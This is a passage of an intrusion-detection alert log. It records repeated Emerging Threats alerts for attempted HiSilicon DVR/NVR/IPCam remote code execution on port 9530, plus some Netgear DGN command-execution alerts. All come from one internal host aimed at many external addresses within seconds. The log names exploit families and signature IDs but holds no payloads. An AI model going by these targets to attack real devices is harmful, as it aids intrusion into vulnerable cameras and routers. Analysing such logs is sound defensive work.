Source Port:	39142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.162.242.14

Timestamp:	05/16/24-16:39:14.514883
SID:	2030488
Source Port:	46934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.162.242.14

Timestamp:	05/16/24-16:39:14.514883
SID:	2030487
Source Port:	46934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.235.101.103

Timestamp:	05/16/24-16:38:57.304851
SID:	2030488
Source Port:	54280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.235.101.103

Timestamp:	05/16/24-16:38:57.304851
SID:	2030487
Source Port:	54280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.82.64.177

Timestamp:	05/16/24-16:38:50.078800
SID:	2030488
Source Port:	43074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.201.95.83

Timestamp:	05/16/24-16:39:05.506976
SID:	2024916
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.82.64.177

Timestamp:	05/16/24-16:38:50.078800
SID:	2030487
Source Port:	43074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.82.114.22

Timestamp:	05/16/24-16:38:50.048920
SID:	2030488
Source Port:	51458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.26.59.174

Timestamp:	05/16/24-16:39:08.092922
SID:	2030487
Source Port:	59688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.26.59.174

Timestamp:	05/16/24-16:39:08.092922
SID:	2030488
Source Port:	59688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.125.113.221

Timestamp:	05/16/24-16:39:16.604217
SID:	2030488
Source Port:	33072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.125.113.221

Timestamp:	05/16/24-16:39:16.604217
SID:	2030487
Source Port:	33072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.137.156.250

Timestamp:	05/16/24-16:39:12.380615
SID:	2030487
Source Port:	58512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.137.156.250

Timestamp:	05/16/24-16:39:12.380615
SID:	2030488
Source Port:	58512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.202.187.49

Timestamp:	05/16/24-16:38:55.229939
SID:	2030488
Source Port:	46194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.202.187.49

Timestamp:	05/16/24-16:38:55.229939
SID:	2030487
Source Port:	46194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.148.105.43

Timestamp:	05/16/24-16:39:14.525670
SID:	2030487
Source Port:	49924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.148.105.43

Timestamp:	05/16/24-16:39:14.525670
SID:	2030488
Source Port:	49924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.166.231.134

Timestamp:	05/16/24-16:38:59.519957
SID:	2030487
Source Port:	49020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.90.148.227

Timestamp:	05/16/24-16:38:50.076322
SID:	2030488
Source Port:	58086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.90.148.227

Timestamp:	05/16/24-16:38:50.076322
SID:	2030487
Source Port:	58086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.32.98.174

Timestamp:	05/16/24-16:39:16.603126
SID:	2030488
Source Port:	60202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.166.231.134

Timestamp:	05/16/24-16:38:59.519957
SID:	2030488
Source Port:	49020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.32.98.174

Timestamp:	05/16/24-16:39:16.603126
SID:	2030487
Source Port:	60202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.182.243.223

Timestamp:	05/16/24-16:38:55.214479
SID:	2030488
Source Port:	33672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.182.243.223

Timestamp:	05/16/24-16:38:55.214479
SID:	2030487
Source Port:	33672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.42.164.153

Timestamp:	05/16/24-16:39:14.514869
SID:	2030488
Source Port:	48548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.42.164.153

Timestamp:	05/16/24-16:39:14.514869
SID:	2030487
Source Port:	48548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.82.114.22

Timestamp:	05/16/24-16:38:50.048920
SID:	2030487
Source Port:	51458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.179.67.128

Timestamp:	05/16/24-16:38:59.558435
SID:	2030488
Source Port:	36250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.179.67.128

Timestamp:	05/16/24-16:38:59.558435
SID:	2030487
Source Port:	36250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.238.205.148

Timestamp:	05/16/24-16:39:02.744326
SID:	2030488
Source Port:	56836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.238.205.148

Timestamp:	05/16/24-16:39:02.744326
SID:	2030487
Source Port:	56836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.141.120.120

Timestamp:	05/16/24-16:39:09.569983
SID:	2024916
Source Port:	35132
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.109.199.123

Timestamp:	05/16/24-16:38:53.065641
SID:	2030488
Source Port:	53252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.109.199.123

Timestamp:	05/16/24-16:38:53.065641
SID:	2030487
Source Port:	53252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.231.136.62

Timestamp:	05/16/24-16:38:59.519435
SID:	2030487
Source Port:	35302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.240.130.168

Timestamp:	05/16/24-16:39:08.041252
SID:	2030487
Source Port:	37378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.0.161.54

Timestamp:	05/16/24-16:39:16.605165
SID:	2030487
Source Port:	37332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.0.161.54

Timestamp:	05/16/24-16:39:16.605165
SID:	2030488
Source Port:	37332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.209.112.105

Timestamp:	05/16/24-16:39:16.579356
SID:	2030488
Source Port:	44136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.209.112.105

Timestamp:	05/16/24-16:39:16.579356
SID:	2030487
Source Port:	44136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.153.171.157

Timestamp:	05/16/24-16:39:14.513386
SID:	2030487
Source Port:	60056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.240.130.168

Timestamp:	05/16/24-16:39:08.041252
SID:	2030488
Source Port:	37378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.153.171.157

Timestamp:	05/16/24-16:39:14.513386
SID:	2030488
Source Port:	60056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.161.148.175

Timestamp:	05/16/24-16:39:02.727001
SID:	2030487
Source Port:	49526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.161.148.175

Timestamp:	05/16/24-16:39:02.727001
SID:	2030488
Source Port:	49526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.231.136.62

Timestamp:	05/16/24-16:38:59.519435
SID:	2030488
Source Port:	35302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.6.208.142

Timestamp:	05/16/24-16:38:53.099196
SID:	2030487
Source Port:	37168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.6.208.142

Timestamp:	05/16/24-16:38:53.099196
SID:	2030488
Source Port:	37168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.82.26.229

Timestamp:	05/16/24-16:39:02.726958
SID:	2030488
Source Port:	48386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.82.26.229

Timestamp:	05/16/24-16:39:02.726958
SID:	2030487
Source Port:	48386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.156.235.31

Timestamp:	05/16/24-16:39:16.581459
SID:	2030488
Source Port:	49066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.156.235.31

Timestamp:	05/16/24-16:39:16.581459
SID:	2030487
Source Port:	49066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.117.219.205

Timestamp:	05/16/24-16:39:08.146674
SID:	2030487
Source Port:	58394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.117.219.205

Timestamp:	05/16/24-16:39:08.146674
SID:	2030488
Source Port:	58394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.234.185.55

Timestamp:	05/16/24-16:39:02.762363
SID:	2030488
Source Port:	52044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.234.185.55

Timestamp:	05/16/24-16:39:02.762363
SID:	2030487
Source Port:	52044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.186.42.1

Timestamp:	05/16/24-16:39:12.301114
SID:	2030488
Source Port:	47348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.57.142.248

Timestamp:	05/16/24-16:39:08.127259
SID:	2030488
Source Port:	60062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.186.42.1

Timestamp:	05/16/24-16:39:12.301114
SID:	2030487
Source Port:	47348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.57.142.248

Timestamp:	05/16/24-16:39:08.127259
SID:	2030487
Source Port:	60062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.69.208.98

Timestamp:	05/16/24-16:38:57.302540
SID:	2030488
Source Port:	59762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.69.208.98

Timestamp:	05/16/24-16:38:57.302540
SID:	2030487
Source Port:	59762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.215.250.120

Timestamp:	05/16/24-16:39:16.580433
SID:	2030487
Source Port:	55426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.104.246.97

Timestamp:	05/16/24-16:39:05.699909
SID:	2030488
Source Port:	36830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.215.250.120

Timestamp:	05/16/24-16:39:16.580433
SID:	2030488
Source Port:	55426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.104.246.97

Timestamp:	05/16/24-16:39:05.699909
SID:	2030487
Source Port:	36830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.227.106.158

Timestamp:	05/16/24-16:38:50.052092
SID:	2030488
Source Port:	40330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.76.186.15

Timestamp:	05/16/24-16:38:59.519372
SID:	2030487
Source Port:	51334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.76.186.15

Timestamp:	05/16/24-16:38:59.519372
SID:	2030488
Source Port:	51334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.157.123.220

Timestamp:	05/16/24-16:39:05.707019
SID:	2030488
Source Port:	43712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.157.123.220

Timestamp:	05/16/24-16:39:05.707019
SID:	2030487
Source Port:	43712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.247.175.96

Timestamp:	05/16/24-16:39:16.578939
SID:	2030488
Source Port:	57498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.247.175.96

Timestamp:	05/16/24-16:39:16.578939
SID:	2030487
Source Port:	57498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.237.90.58

Timestamp:	05/16/24-16:38:57.437163
SID:	2030487
Source Port:	55656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.237.90.58

Timestamp:	05/16/24-16:38:57.437163
SID:	2030488
Source Port:	55656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 193.213.19.125

Timestamp:	05/16/24-16:39:05.506497
SID:	2029215
Source Port:	58226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.98.155.43

Timestamp:	05/16/24-16:39:03.260045
SID:	2030488
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.186.90.75

Timestamp:	05/16/24-16:39:08.093030
SID:	2030488
Source Port:	35170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.186.90.75

Timestamp:	05/16/24-16:39:08.093030
SID:	2030487
Source Port:	35170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.98.155.43

Timestamp:	05/16/24-16:39:03.260045
SID:	2030487
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.132.230.99

Timestamp:	05/16/24-16:38:57.304665
SID:	2030487
Source Port:	49916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.132.230.99

Timestamp:	05/16/24-16:38:57.304665
SID:	2030488
Source Port:	49916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.70.39.222

Timestamp:	05/16/24-16:39:05.698744
SID:	2030488
Source Port:	45942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.70.39.222

Timestamp:	05/16/24-16:39:05.698744
SID:	2030487
Source Port:	45942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.224.22.57

Timestamp:	05/16/24-16:38:50.004161
SID:	2030487
Source Port:	42842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.224.22.57

Timestamp:	05/16/24-16:38:50.004161
SID:	2030488
Source Port:	42842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.75.172.82

Timestamp:	05/16/24-16:39:05.675972
SID:	2030488
Source Port:	54776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.75.172.82

Timestamp:	05/16/24-16:39:05.675972
SID:	2030487
Source Port:	54776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.227.100.222

Timestamp:	05/16/24-16:39:12.377458
SID:	2030487
Source Port:	59310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.227.100.222

Timestamp:	05/16/24-16:39:12.377458
SID:	2030488
Source Port:	59310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.227.173.164

Timestamp:	05/16/24-16:39:05.677789
SID:	2030487
Source Port:	55346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.159.97.33

Timestamp:	05/16/24-16:39:08.148279
SID:	2030487
Source Port:	59770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.227.173.164

Timestamp:	05/16/24-16:39:05.677789
SID:	2030488
Source Port:	55346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.159.97.33

Timestamp:	05/16/24-16:39:08.148279
SID:	2030488
Source Port:	59770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.97.96.80

Timestamp:	05/16/24-16:38:59.587407
SID:	2030488
Source Port:	48486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.97.96.80

Timestamp:	05/16/24-16:38:59.587407
SID:	2030487
Source Port:	48486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.57.4.12

Timestamp:	05/16/24-16:38:57.425705
